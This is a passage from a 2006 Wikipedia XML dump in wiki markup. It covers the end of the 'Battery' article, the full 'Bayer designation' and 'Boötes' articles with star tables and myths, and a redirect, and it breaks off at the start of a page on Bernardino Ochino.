* [[Lead-acid battery]] - commonly used in vehicles, alarm systems and [[uninterruptible power supply|uninterruptible power supplies]]. Used to be used as a &quot;A&quot; or &quot;wet&quot; battery in valve/[[vacuum tube]] radio sets.
** [[Absorbed glass mat]]
** [[Gel battery]]
* [[Lithium ion battery]]
* [[Lithium ion polymer battery]]
* [[NaS battery]]
* [[Nickel metal hydride battery]]
* [[Nickel-cadmium battery]] - used in many domestic applications but being superseded by Li-Ion and Ni-MH types
* [[Sodium-metal chloride battery]]
* [[Nickel-zinc battery]]

===Homemade cells===
Almost any liquid or moist object that has enough ions to be electrically conductive can serve as the electrolyte for a cell. As a novelty or science demonstration, it is possible to insert two electrodes into a [[Lemon battery|lemon]], potato, glass of soft drink, etc. and generate small amounts of electricity. [[As of 2005]], &quot;two-potato clocks&quot; are widely available in hobby and toy stores; they consist of a pair of cells, each consisting of a potato (lemon, etc.) with two electrodes inserted into it, wired in series to form a battery with enough voltage to power a digital clock. Homemade cells of this kind are of no real practical use, because they produce far less current&amp;mdash;and cost far more per unit of energy generated&amp;mdash;than commercial cells, due to the need for frequent replacement of the fruit or vegetable.

===Traction batteries===
Traction batteries (secondary batteries or accumulators) are designed to provide power to move a vehicle, such as an electric car or tow motor.  A major design consideration is power to weight ratio since the vehicle must carry the battery.  To prevent spilling, the electrolyte in traction batteries is gelled. The electrolyte may also be embedded in a glass wool which is wound so that the cells have a round cross-sectional area ([[Absorbed Glass Mat|AGM-type]]).
The following types are also in use[http://www.madkatz.com/ev/battery.html]:
* Zebra NiNaCl (or NaNiCl) battery operating at 270 °C requiring cooling in case of temperature excursions
* NiZn battery (higher cell voltage 1.6 V and thus 25% increased specific energy, very short lifespan)

[[Lithium_ion_battery|Lithium-ion batteries]] are now pushing out NiMh-technology in the sector while for low investment costs the lead-acid technology remains in the leading role[http://www.e-mobile.ch/pdf/2005/Subat_WP5-006.pdf].

See also: [[Battery pack]]

===Flow batteries===
[[Flow Battery|Flow batteries]] are a special class of battery where additional quantities of [[electrolyte]] are stored outside the main power cell of the battery, and circulated through it by pumps or by movement. Flow batteries can have extremely large capacities and are used in marine applications and are gaining populatity in [[grid energy storage]] applications.

==Common battery sizes==
Disposable cells and some rechargeable cells come in a number of standard sizes, so the same battery type can be used in a wide variety of appliances. Some of the major types used in portable appliances include the A-series ([[A battery|A]], [[AA battery|AA]], [[AAA battery|AAA]], [[AAAA battery|AAAA]]), [[B battery|B]], [[C battery|C]], [[D battery|D]], [[F battery|F]], [[G battery|G]], [[J battery|J]], and [[N battery|N]], [[3R12 battery|3R12]], [[4R25 battery|4R25]] and variants, [[PP3 battery|PP3]] and [[PP9 battery|PP9]], and the lantern [[996 battery|996]] and [[PC926 battery|PC926]]. These and less common types are included in the list of battery sizes appearing in the following section (the list can be opened as a [[List of battery sizes|separate page]] as well).

A good cross-reference of different manufacturer's battery and cell designations can be found here [http://www.gpina.com/consumer/primary/button.htm] and here [http://batterywholesale.com/lithium_cross.html].

{{:List of battery sizes}}

==History==
There is some evidence&amp;mdash;in the form of the ''[[Baghdad Battery|Baghdad Batteries]]'' from some time between 250 BCE and 640 CE (while Baghdad was under [[Parthian]] and [[Sassanian]] dynasties of ancient [[Persian Empire|Persia]]) of [[galvanic cell]]s having been used in ancient times. Such ancient knowledge in the history of electricity bears no known continuous relationship to the development of modern batteries. The hypothesis that these devices had an electrical function, while plausible, remains unproven, as with devices discovered in Egyptian digs that are alleged to be batteries as well.

In 1748, [[Benjamin Franklin]] coined the term ''battery'' to describe the simple [[capacitor]] he experimented with, which was an array of charged glass plates.  He adapted the word from its earlier sense meaning ''a beating'', which is what an electric shock from the apparatus felt like. In those days, the entertaining effect of an [[electric]] [[shock]] was one of the few uses of the technology.  Other experimenters made batteries from a number of [[Leyden jar]]s connected in [[Series and parallel circuits|parallel]]. The definition was later widened to include an [[array]] of [[electrochemical cell]]s or [[capacitor]]s. The [[Voltaic pile]] was a chemical battery developed by the Italian physicist [[Alessandro Volta]] in 1800. Volta researched the effects which different metals produced when exposed to salt water. In 1801, Volta demonstrated the Voltaic cell to [[Napoleon I of France|Napoleon Bonaparte]] (who later ennobled him for his discoveries). The discoverer of biological electricity, [[Luigi Galvani]], researched the same effect with two pieces of the same metal exposed to salt water.

The scientific community at this time called this battery a ''pile'', ''accumulator'', because it held charge, or ''artificial electrical organ''.

In 1800, [[William Nicholson]] and [[Anthony Carlisle]] used a battery to decompose water into hydrogen and oxygen. Sir [[Humphry Davy]] researched this chemical effect at the same time. Davy researched the decomposition of substances (called [[electrolysis]]). In 1813, he constructed a 2,000-plate paired battery in the basement of Britain's [[Royal Society]], covering 889 ft&amp;sup2; (83 m&amp;sup2;). Through this experiment, Davy deduced that electrolysis was the action in the voltaic pile that produced electricity. In 1820, the [[United Kingdom|British]] researcher [[John Frederic Daniell]] improved the voltaic cell. The [[Daniell cell]] consisted of [[copper]] and [[zinc]] plates and copper and zinc [[sulfate]]s. It was used to operate telegraphs and doorbells. Some early battery researchers called the Daniell cell a ''gravity cell'' because gravity kept the two [[sulfate]]s separated. The name ''crowfoot cell'' was also commonly used because of the shape of the zinc electrode used in the batteries. Between 1832 and 1834, [[Michael Faraday]] conducted experiments with a [[ferrite ring]], a [[galvanometer]], and a connected battery. When the battery was connected or disconnected, the galvanometer deflected. Faraday also developed the principle of [[ion]]ic mobility in chemical reactions of batteries. In 1839, [[William Robert Grove]] developed the first [[fuel cell]], which produced [[electric]]al [[energy]] by combining [[hydrogen]] and [[oxygen]]. Grove developed another form the electric cell using zinc and platinum electrodes. These electrodes were exposed to two acids separated by a diaphragm.
	
In the 1860s, [[Georges Leclanché]] of [[France]] developed a [[carbon]]-[[zinc]] battery. It was a wet [[electrochemical cell|cell]], with electrodes plunged into a body of [[electrolyte]] [[fluid]]. It was rugged, manufactured easily, and had a decent shelf life. An improved version called a dry cell was later made by sealing the cell and changing the fluid electrolyte to a wet paste.  The Leclanché cell is a type of primary (non-rechargeable) battery. In the 1860s, [[Gaston Planté|Raymond Gaston Planté]] invented the [[lead-acid battery]]. He immersed two thin solid lead plates separated by rubber sheets in a dilute sulfuric acid solution to make a secondary (rechargeable) battery. The original invention had a short shelf life, though. Around 1881, [[Émile Alphonse Faure]], with his colleagues, developed batteries using a mixture of [[lead]] [[oxide]]s for the positive plate electrolyte. These had faster reactions and higher efficiency. In 1878, the air cell battery was developed. In 1897, [[Nikola Tesla]] researched a lightweight [[carbide]] cell and an oxygen-hydrogen storage cell. In 1898 [[Nathan Stubblefield]] received approval for a battery patent (US600457): this electrolytic coil patent is referred to as an &quot;[[earth battery]]&quot;.

In 1900, [[Thomas Edison]] developed the [[nickel]] storage battery. In 1905, Edison developed the [[nickel]]-[[iron]] battery. Like all electrochemical cells, Edison's produced a [[Current (electricity)|current]] of [[electron]]s that flowed only in one direction, known as [[direct current]]. In [[World War II]], [[Samuel Ruben]] and [[Philip Mallory|Philip Rogers Mallory]] developed the [[mercury (element)|mercury]] cell. In the 1950s, [[Russell Ohl|Russell S. Ohl]] developed a wafer of [[silicon]] that produced free [[electron]]s. In 1954, [[Gerald Pearson|Gerald L. Pearson]], [[Daryl Chapin|Daryl M. Chapin]], and [[Calvin Fuller|Calvin S. Fuller]] produced an array of several such wafers, making the first solar battery or [[solar cell]]. In the 1950s, Ruben improved the [[alkaline]] [[manganese]] battery. In 1956, [[Francis Thomas Bacon]] developed the hydrogen-oxygen fuel cell. In 1959, [[Lewis Urry]] developed the small [[alkaline]] battery at the [[Energizer Holdings|Eveready Battery Company]] laboratory in [[Parma]], [[Ohio]]. In the 1960s, German researchers invented a gel-type electrolyte lead-acid battery. [[Duracell]] was formed in 1964.

==Environmental considerations==
Since their development over 250 years ago, batteries have remained among the most expensive energy sources, and their manufacture consumes many valuable resources and often involves hazardous chemicals.  For this reason many areas now have battery [[recycling]] services available to recover some of the more toxic (and sometimes valuable) materials from used batteries.

==The future==
Initial research indicates that [[nanotechnology]] batteries employing [[carbon nanotubes]] will have twice the life of traditional modern batteries.

A new form of battery is in development called [[Power Paper]]. This thin, flexible battery comes in the form of ink cells which can be printed on to virtually any surface and produce power.

Future cell management is able to condition one cell while the others are in operation, so a much longer operation is possible.

==See also==
* [[Memory effect]]
* [[List of energy topics]]

===People/inventors===
* [[John Frederic Daniell]]
* [[Thomas Edison]]
* [[Luigi Galvani]]
* [[Moritz von Jacobi]]
* [[Georges Leclanché]]
* [[Slavoljub Penkala]]
* [[Nikola Tesla]]
* [[Alessandro Volta]]

===Related electrical topics===
* [[Contact tension]]
* [[Potential difference]]
* [[Electric vehicle]]
* [[Electrical efficiency]]
* [[Electricity]]
* [[Electrochemical cell]]
* [[Electrochemical potential]]
* [[Electrochemistry]]
* [[Electromotive force]]
* [[Electroplating]]
* [[Energy storage]]
* [[Lead-acid battery]]
* [[Local battery]]
* [[Power supply]]
* [[Direct current]]
* [[Solar power]]
* [[Renewable energy]]
* [[Peukert's Law]]

{{wikibookspar||Constructing school science lab equipment/Cell holder}}

{{Wikibookspar||Electronics:Batteries}}

{{Wikibookspar||Electronics:Cells}}

===Related electronics concepts===
* [[Series and parallel circuits]]
* [[Secondary cell]]
* [[Electrode]]
* [[Electrolytic capacitor]]
* [[Fuel cell]]
* [[Galvanic cell]]
* [[Ignition system]]
* [[Lemon battery]]
* [[Jump start]]
* [[Lantern]]
* [[Flywheel energy storage]]
* [[Rechargeable battery]]
* [[Maximum power theorem]]
* [[Nernst equation]]
* [[Superconducting magnetic energy storage]]
* [[Grid energy storage]]

===Chemicals used in construction===
* [[Sulfur]]
* [[Mercury (element)|Mercury]]
* [[Sulfuric acid]]
* [[Zinc]]
* [[Ammonium chloride]]
* [[Antimony]]
* [[Cadmium]]
* [[Silver]]
* [[Nickel]]
* [[Nickel metal hydride]]
* [[Lithium]]
* [[Hydride]]
* [[Cobalt]]
* [[Manganese]]
* [[Nitroglycerin]]
* [[Rubidium]]
* [[Thionyl chloride]]
* [[Lead]]
* [[Titanium]]

=== Related inventions ===
* [[Baghdad Battery]]
* [[Voltaic pile]]
* [[Timeline of invention]]
* [[List of inventors]]
* [[Smart Battery Data]] battery warns device when it is going flat.
* [[Lithium polymer]]

===Other===
* [[Gas-electric hybrid engine]]
* [[Hybrid car]]
* [[Regenerative braking]]
* [[Waste]]
* [[CMOS battery]]
* [[Battery room]]

==External links==
*[http://www.radioshack.com/uc/index.jsp?page=researchLibraryArticle&amp;articleUrl=..%2Fgraphics%2Fuc%2Frsk%2FResearchLibrary%2FBuyersGuides%2Fresearch%2FBatteries01.html RadioShack Guide to Batteries]
*[http://www.societyofrobots.com/batteries.shtml Quick Battery Guide For Robot Creators]
*[http://electrochem.cwru.edu/ed/encycl/art-b02-batt-nonr.htm Electrochemistry Encyclopedia NONRECHARGEABLE BATTERIES]
*[http://www.windsun.com/batteries/battery_Glos.htm Battery Glossary &amp; Terminology]
*[http://www.freeenergynews.com/Directory/Battery/index.html Battery Technologies] - Directory page covering theory, research and development, and market devices that improve the trend toward clean, renewable energy. (''FreeEnergyNews'')
*[http://fhapgood.fastmail.fm/microturbine.htm ''The Microturbine'', battery technology as &quot;the Next Big Thing&quot; by Fred Hapgood]
*[http://www.exide.com/ Exide Technologies, a typical manufacturer of batteries for industrial and other applications]
*[http://www.buchmann.ca/default.asp Batteries in a Portable World - A Handbook on rechargeable batteries for non-engineers] - Has a comprehensive FAQ section on rechargeable batteries
*[http://www.mpoweruk.com/history.htm Battery Timeline] - History of batteries, energy and related technologies
*[http://www.infoworld.com/article/05/07/13/HNmobilefuelcells_1.html?source=NLC-WIR2005-07-14 ''Mobile phone fuel cells coming in 2007'' Infoworld July 13, 2005]
*[http://peswiki.com/energy/Directory:Batteries &quot;Battery Resources&quot;] of PESWiki, the community-built website dealing with alternative and renewable energy solutions
*[http://www.smartgauge.co.uk/calcs/peukert.xls A Peukert Calculator spreadsheet]
*[http://www.batteryuniversity.com/ Practical battery knowledge]
{{Link FA|is}}

[[Category:Electric batteries| ]]
[[Category:BEV components]]

[[ar:بطارية كهربائية]]
[[ca:Bateria elèctrica]]
[[da:Batteri (elektricitet)]]
[[de:Batterie]]
[[es:Pila eléctrica]]
[[fi:Akku]]
[[fr:Batterie d'accumulateurs]]
[[is:Rafhlaða]]
[[it:Batteria (chimica)]]
[[ja:電池]]
[[ko:전지]]
[[ku:Baterî]]
[[nl:Batterij (elektrisch)]]
[[pl:Bateria ogniw]]
[[pt:Pilha]]
[[sv:Elektrokemisk cell]]
[[th:แบตเตอรี่]]
[[zh:电池]]</text>
    </revision>
  </page>
  <page>
    <title>Bayer designation</title>
    <id>4199</id>
    <revision>
      <id>41367811</id>
      <timestamp>2006-02-26T22:12:08Z</timestamp>
      <contributor>
        <username>Titoxd</username>
        <id>227287</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/192.114.67.113|192.114.67.113]] ([[User talk:192.114.67.113|talk]]) to last version by CambridgeBayWeather</comment>
      <text xml:space="preserve">Many of the brighter [[star]]s are given names which are known as '''Bayer designations'''. These designations, which were introduced by [[Johann Bayer]] in his star atlas ''[[Uranometria]]'' (named after [[Urania]]) in [[1603]], consist of a [[Greek alphabet|Greek letter]] followed by the [[genitive case|genitive]] (in [[Latin language|Latin]]) of the name of the [[constellation]] in which the star lies.  See [[List of constellations]] for a list of constellations and the genitive forms of their names.

Because the brightest star in many constellations is designated as Alpha, many people wrongly assume that Bayer meant to put the stars in order of their brightness.  But in his day there was no way to measure stellar brightness precisely.  Traditionally, the stars were  assigned to one of six magnitude classes, and Bayer's catalog lists all the first-magnitude stars, followed by all the second-magnitude stars, and so on.  However within each magnitude class, there was no attempt to arrange stars by relative brightness.  Instead, they're usually either roughly ordered from the head to the feet (or tail) of the figure (like the stars in the [[Big Dipper]]).  

[[Image:Orion_constellation_map.png|225px|left]]

[[Orion (constellation)|Orion]] provides a good example of Bayer's method. (Remember that the ''lower'' the magnitude, the ''brighter'' the star. Additionally a &quot;2nd-magnitude&quot; star has a more precise magnitude between 1.51 and 2.50, inclusive.)  Bayer first designated the two 1st-magnitude stars, Betelgeuse and Rigel, as Alpha and Beta, with Betelgeuse (the shoulder) coming ahead of Rigel (the knee), even though the latter is the brighter.

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;center&quot; width=&quot;225&quot; style=&quot;margin-left: 1em&quot;
! | Bayer&lt;BR&gt;Designation || Apparent&lt;BR&gt;Magnitude || Proper&lt;BR&gt;Name 
|-
| &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;alpha; Ori || &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.45 || [[Betelgeuse]]
|-
| &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;beta; Ori || &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.18 || [[Rigel]]
|-
| &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;gamma; Ori || &amp;nbsp; &amp;nbsp; &amp;nbsp; 1.64 || [[Bellatrix]]
|-
| &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;delta; Ori || &amp;nbsp; &amp;nbsp; &amp;nbsp; 2.23 || [[Mintaka]]
|-
| &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;epsilon; Ori || &amp;nbsp; &amp;nbsp; &amp;nbsp; 1.69 || [[Alnilam]]
|-
| &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;zeta; Ori || &amp;nbsp; &amp;nbsp; &amp;nbsp; 1.70 || [[Alnitak]]
|}
He then repeated the procedure for the stars of the 2nd-magnitude. As is evident from the map and chart, he again followed a &quot;top-down&quot; route.

Sometimes, indeed, there's no apparent order.  (The letters of the Greek alphabet were used in antiquity to represent the successive integers; so Bayer's scheme might be regarded as equivalent to a numbering system.)

So Alpha isn't always the brightest star in a constellation.  And there are even cases where a star has a designation for a constellation in which it does not lie (according to the modern constellation boundaries).  Nonetheless, these designations have proved useful and are widely used today.

Two stars lie very close to constellation boundaries and have double designations: [[Beta Tauri|&amp;beta; Tau]] (&amp;gamma; Aur) and [[Alpha Andromedae|&amp;alpha; And]] (&amp;delta; Peg).  Another star, [[Sigma Librae|&amp;sigma; Lib]], was formerly known as &amp;gamma; Sco; however it is not on the boundary of [[Libra]] and [[Scorpius]] but well inside Libra.

There are two common ways in which Bayer designations can be written. The designation can be written out in full, as in [[Alpha Canis Majoris]] or [[Beta Persei]], or a lowercase Greek letter can be used together with the standard 3-letter abbreviation of the constellation, as in &amp;alpha; CMa or &amp;beta; Per. Earlier 4-letter abbreviations (such as &amp;alpha; UMaj) are rarely used today.

Although most common Bayer letters are Greek, it should also be mentioned that the system was extended, first by using [[Minuscule|lowercase]] [[Latin alphabet|Latin letters]], and then by using [[Majuscule|uppercase]] Latin letters. Most of these are little used, but there are some exceptions such as h Persei (which is actually a [[star cluster]]) and P Cygni. Note that uppercase Latin Bayer designations never went beyond Q, and names such as [[R Leporis]] and [[W Ursae Majoris]] are [[variable star designation]]s, not Bayer designations.

A further complication is the use of numeric superscripts to distinguish between stars with the same Bayer letter. Usually these are [[double star]]s (mostly optical doubles rather than true [[binary star]]s), but there are some exceptions such as the chain of stars &amp;pi;&lt;sup&gt;1&lt;/sup&gt;, &amp;pi;&lt;sup&gt;2&lt;/sup&gt;, &amp;pi;&lt;sup&gt;3&lt;/sup&gt;, &amp;pi;&lt;sup&gt;4&lt;/sup&gt;, &amp;pi;&lt;sup&gt;5&lt;/sup&gt; and &amp;pi;&lt;sup&gt;6&lt;/sup&gt; Orionis.

=== See also ===
* [[:Category:Bayer objects|Bayer objects]]
* [[Flamsteed designation]]
* [[List of constellations]]
* [[Star catalogue]]
* [[Star designation]]
* [[Variable star designation]]

&lt;!-- [[Category:Astronomy]] too general --&gt;
[[Category:Stars]]
[[Category:Astronomical catalogues]]

[[ca:Nomenclatura de Bayer]]
[[de:Bayer-Bezeichnung]]
[[fr:Désignation de Bayer]]
[[ko:바이어 명명법]]
[[it:Nomenclatura di Bayer]]
[[hu:Bayer-féle jelölés]]
[[ru:Обозначения Байера]]
[[sk:Bayerovo označenie]]
[[fi:Bayerin designaatio]]
[[zh:巴耶恆星命名法]]</text>
    </revision>
  </page>
  <page>
    <title>Boötes</title>
    <id>4200</id>
    <revision>
      <id>40761327</id>
      <timestamp>2006-02-22T21:21:16Z</timestamp>
      <contributor>
        <username>ESkog</username>
        <id>88149</id>
      </contributor>
      <minor />
      <comment>rvv to Sango123</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Bootes |
abbreviation = Boo |
genitive = Bootis |
symbology = the [[Bear]] [[Grigori|Watcher]]|
RA = 15 |
dec= +30 |
areatotal = 907 |
arearank = 13th |
numberstars = 3 |
starname = [[Arcturus]] (&amp;alpha; Boo) |
starmagnitude = &amp;minus;0.04 |
meteorshowers =
*[[January Bootids]]
*[[June Bootids]]
*[[Quadrantids]] |
bordering =
*[[Canes Venatici]]
*[[Coma Berenices]]
*[[Corona Borealis]]
*[[Draco (constellation)|Draco]]
*[[Hercules (constellation)|Hercules]]
*[[Serpens|Serpens Caput]]
*[[Virgo]]
*[[Ursa Major]] |
latmax = 90 |
latmin = 50 |
month = June |
notes='''Other designations:''' Arctophylax}}
'''Boötes''', a name deriving from Egypt, is one of the 88 modern [[constellation]]s and was also one of the 48 constellations listed by [[Ptolemy]]. Boötes is generally referred to as the Bear Watcher, since it appears to be watching over the constellations [[Ursa Major]] and [[Ursa Minor]]. It contains the [[List of brightest stars|third brightest star]] in the night sky, [[Arcturus]]. Note that the &quot;ö&quot; in the name is a [[diaeresis]], not an [[umlaut]].

The constellation is located between 0° and +60° [[declination]], 13 and 16 hours of [[right ascension]] on the [[celestial sphere]].



== Notable deep sky objects ==
[[NGC 5466]] is a loose globular cluster that can be observed with most telescopes. It was discovered by [[William Herschel]] on [[May 17]], [[1784]].

Also in the vicinity of Boötes is the [[Bootes void]].

== Mythology ==
Including the fainter stars, Boötes appears to be a large human figure, looking toward [[Ursa Major]] [http://borghetto.astrofili.org/costellazioni/bootes.JPG]. Exactly whom Boötes is supposed to represent is not clear.  According to one version, he was a ploughman who drove the oxen in the constellation [[Ursa Major]] using his two dogs ''Chara'' and ''Asterion'' (from the constellation [[Canes Venatici]]). The oxen were tied to the polar axis and so the action of Boötes kept the heavens in constant rotation.

Boötes was also supposed to have invented the [[plough]].  This is said to have greatly pleased [[Ceres (mythology)|Ceres]], the goddess of agriculture who asked [[Jupiter (mythology)|Jupiter]] to give Boötes a permanent fixture in the heavens as a reward for doing this.

Another version portrays Boötes as a grape grower called [[Icarius]], who one day allowed the Roman god [[Bacchus]], also called Dionysus, to inspect his vineyards. Bacchus revealed the secret of [[wine making]] to Icarius, who was so impressed by this alcoholic beverage that he invited his friends round to sample it. Having never tasted wine before, they all drank too much and woke up the next morning with terrible [[hangover]]s; and they made the mistaken assumption that Icarius had tried to poison them. It was decided that Icarius should pay the price with his own life, and he was swiftly murdered in his sleep. Bacchus placed Icarius in the stars to honor him.

Following another reading the constellation is identified with [[Arcas]], son of [[Zeus]] and [[Callisto (mythology)|Callisto]]. Arcas was brought up by his maternal grandfather [[Lycaon]], to whom one day Zeus went and had a meal. To verify that the guest was really the king of the gods, Lycaon killed his grandson and prepared a meal made from his flesh. Zeus noticed and became very angry, transforming Lycaon into a wolf and gave back life to his son.

In the meantime Callisto had been transformed into a she-bear, by Zeus' wife, [[Hera]], who was angry at Zeus' infidelity. When he was grown up, Arcas met with the she-bear and, since obviously he didn't recognize her as his mother, he began to chase Callisto. Callisto, followed by Arcas, sheltered herself in a temple, a sacred place whose profaners were convicted to death. To avoid such fate, Zeus decided to set them in the sky, Arcas as Boötes and Callisto as Ursa Major. 

This is a rare version of the myth surrounding Ursa Major, as the myth usually holds that Arcas is transformed into a bear as well (becoming Ursa Minor), and in such versions Boötes has no part. Ursa Minor, and Ursa Major, are constellations whose identification only originated in later classical Greece, and in Rome, and as such Boötes kept separate associations dating from much earlier.

Boötes was considered to be [[Atlas (mythology)|Atlas]] by some ancient greek legends, as well as those in other early mediterranean cultures, since it takes an appropriate position in the sky (its arms near the [[polaris|pole star]], but its body standing on/near the [[ecliptic]]). As such, together with earlier interpretations of other constellations in the [[zodiac]] sign of [[libra]] (i.e. of [[Draco (constellation)]], [[Ursa Major]] and [[Ursa Minor]] it may have formed the origin of the myth of the apples of the [[Hesperides]], which forms part of [[The Twelve Labours]] of [[Herakles]].

==Stars==
:Stars with proper names:
:* (16/&amp;alpha; Boo) &amp;minus;0.05 '''[[Arcturus]]''' or '''''Haris-el-sema'''''
:*: &lt; &amp;#945;&amp;#961;&amp;#954;&amp;#964;&amp;#959;&amp;#973;&amp;#961;&amp;#959;&amp;#962;   Bear guard
:*: &lt; ? ''al-haris as-sama'' The keeper of heaven

:* ([[Beta Boötis|42/&amp;beta; Boo]]) 3.49 '''Nekkar''' [Nakkar] or '''''Meres''''' [''Merez'']
:*: &lt; mistranscription of &amp;#1576;&amp;#1602;&amp;#1617;&amp;#1575;&amp;#1585;  ''baqq&amp;#257;r'' Cattle driver

:* ([[Gamma Boötis|27/&amp;gamma; Boo]]) 3.03 '''Seginus''' [''Segin, Ceginus''] or '''''Haris''''' in [[Antonín Bečvář|Bečvář]]

:* ([[Epsilon Boötis|36/&amp;epsilon; Boo]]) &amp;ndash; double 2.35, 2.70 '''Izar''' or '''''Mirak''''' [''Mirach, Mirac'']  or '''''Pulcherrima''''' or '''''Mizar'''''
:*: &lt;  &amp;#1573;&amp;#1586;&amp;#1575;&amp;#1585;  ''’iz&amp;#257;r''  Girdle
:*: &lt;  ? ''al-maraqq'' ?
:*: &lt; ''pulcherrima''  Most beautiful

:* ([[Eta Boötis|8/&amp;eta; Boo]]) 2.68 '''Muphrid''' [''Mufride, Muphride, Mufrid'']
:*: &lt;  &amp;#1605;&amp;#1601;&amp;#1585;&amp;#1583; &amp;#1575;&amp;#1604;&amp;#1585;&amp;#1575;&amp;#1605;&amp;#1581;  ''mufrid ar-r&amp;#257;mi&amp;#295;''  The (single) one of the lancer

:* ([[Theta Boötis|23/&amp;theta; Boo]]) 4.04  '''''Asellus primus''''' [&quot;the first donkey&quot;]
:* ([[Iota Boötis|21/&amp;iota; Boo]]) 4.75 '''''Asellus secondus''''' [&quot;the second donkey&quot;]
:* ([[Kappa Boötis|17/&amp;kappa; Boo]]) 4.54 (&amp;kappa;&lt;sup&gt;2&lt;/sup&gt;, 6.62 (&amp;kappa;&lt;sup&gt;1&lt;/sup&gt;) '''''Asellus tertius''''' [&quot;the third donkey&quot;]
:* ([[Mu Boötis|51/&amp;mu; Boo]]) 4.31 (&amp;mu;&lt;sup&gt;1&lt;/sup&gt;), 6.51 (&amp;mu;&lt;sup&gt;2&lt;/sup&gt;) '''Alkalurops''' or '''''Inkalunis''''' [''Icalurus''] or '''''Clava''''' or '''''Venabulum'''''
:*: &lt; Arabic &lt; &amp;#954;&amp;#945;&amp;#955;&amp;#945;&amp;#973;&amp;#961;&amp;#959;&amp;#968;  Shepherd's staff
:* ([[Phi Boötis|54/&amp;phi; Boo]]) or '''''Ceginus''''' 5.25

:* ([[38 Boötis|38/h Boo]]) 5.79 '''Merga''' [''Marrha''], '''''El Mara el Musalsela''''' or '''''Falx Italica'''''
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1605;&amp;#1585;&amp;#1571;&amp;#1577; &amp;#1575;&amp;#1604;&amp;#1605;&amp;#1587;&amp;#1604;&amp;#1587;&amp;#1604;&amp;#1577;  ''al-mar’a[tu] al-musalsalah''  The chained woman
:*: &lt; ''falx &amp;#299;talica''  Bill hook
:Stars with Bayer designations:
:: [[Delta Boötis|49/&amp;delta; Boo]] 3.46; [[Zeta Boötis|30/&amp;zeta; Boo]] &amp;ndash; double 3.78, 4.43; [[Lambda Boötis|19/&amp;lambda; Boo]] 4.18; [[Nu1 Boötis|52/&amp;nu;&lt;sup&gt;1&lt;/sup&gt; Boo]] 5.04; [[Nu2 Boötis|53/&amp;nu;&lt;sup&gt;2&lt;/sup&gt; Boo]] 4.98; [[Xi Boötis|37/&amp;xi; Boo]] 4.54; [[Omicron Boötis|35/&amp;omicron; Boo]] 4.60; [[Pi1 Boötis|29/&amp;pi;&lt;sup&gt;1&lt;/sup&gt; Boo]] 4.49; [[Pi2 Boötis|29/&amp;pi;&lt;sup&gt;2&lt;/sup&gt; Boo]] 5.58; [[Rho Boötis|25/&amp;rho; Boo]] 3.57; [[Sigma Boötis|28/&amp;sigma; Boo]] 4.47; [[Tau Boötis|4/&amp;tau; Boo]] 4.50 &amp;ndash; has a planet; [[Upsilon Boötis|5/&amp;upsilon; Boo]] 4.05; [[Chi Boötis|48/&amp;chi; Boo]] 5.28; [[Psi Boötis|43/&amp;psi; Boo]] 4.52; [[Omega Boötis|41/&amp;omega; Boo]] 4.80; [[b Boötis|46/b Boo]] 5.67; [[c Boötis|45/c Boo]] 4.93; [[d Boötis|12/d Boo]] 4.82; [[e Boötis| 6/e Boo]] 4.92; [[f Boötis|22/f Boo]] 5.40; [[g Boötis|24/g Boo]] 5.58; [[i Boötis|44/i Boo]] 4.83; [[k Boötis|47/k Boo]] 5.59; [[A Boötis|A Boo]] 4.80
:Stars with Flamsteed designations:
::[[1 Boötis|1 Boo]] 5.73; [[2 Boötis|2 Boo]] 5.63; [[3 Boötis|3 Boo]] 5.97; [[7 Boötis|7 Boo]] 5.71; [[9 Boötis|9 Boo]] 5.02; [[10 Boötis|10 Boo]] 5.76; [[11 Boötis|11 Boo]] 6.23; [[13 Boötis|13 Boo]] 5.26; [[14 Boötis|14 Boo]] 5.53; [[15 Boötis|15 Boo]] 5.29; [[18 Boötis|18 Boo]] 5.41; [[20 Boötis|20 Boo]] 4.84; [[26 Boötis|26 Boo]] 5.91; [[31 Boötis|31 Boo]] 4.86; [[32 Boötis|32 Boo]] 5.55; [[33 Boötis|33 Boo]] 5.39; [[34 Boötis|34 Boo]] 4.83; [[39 Boötis|39 Boo]] 5.68; [[40 Boötis|40 Boo]] 5.64; [[50 Boötis|50 Boo]] 5.38

{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
{{Commons|Boötes}}

[http://www.allthesky.com/constellations/bootes/ The Deep Photographic Guide to the Constellations: Bootes]

[[Category:Boötes constellation| ]]

[[ca:Bover (constel·lació)]]
[[cs:Pastýř (souhvězdí)]]
[[da:Bjørnevogteren]]
[[de:Bärenhüter]]
[[es:Boötes]]
[[fr:Bouvier (constellation)]]
[[ko:목동자리]]
[[id:Boötes]]
[[it:Boötes]]
[[la:Bootes]]
[[lt:Jaučiaganis]]
[[hu:Ökörhajcsár (csillagkép)]]
[[nl:Ossenhoeder]]
[[ja:うしかい座]]
[[nn:Bjørnepassaren]]
[[pl:Wolarz (gwiazdozbiór)]]
[[pt:Boötes]]
[[ru:Волопас (созвездие)]]
[[sk:Súhvezdie Pastier]]
[[fi:Karhunvartija]]
[[sv:Björnvaktaren]]
[[th:กลุ่มดาวคนเลี้ยงสัตว์]]
[[zh:牧夫座]]</text>
    </revision>
  </page>
  <page>
    <title>Borromini, Francesco</title>
    <id>4201</id>
    <revision>
      <id>15902490</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Francesco Borromini]]
</text>
    </revision>
  </page>
  <page>
    <title>Bernardino Ochino</title>
    <id>4203</id>
    <revision>
      <id>35974336</id>
      <timestamp>2006-01-20T17:13:05Z</timestamp>
      <contributor>
        <username>DA3N</username>
        <id>756645</id>
      </contributor>
      <minor />
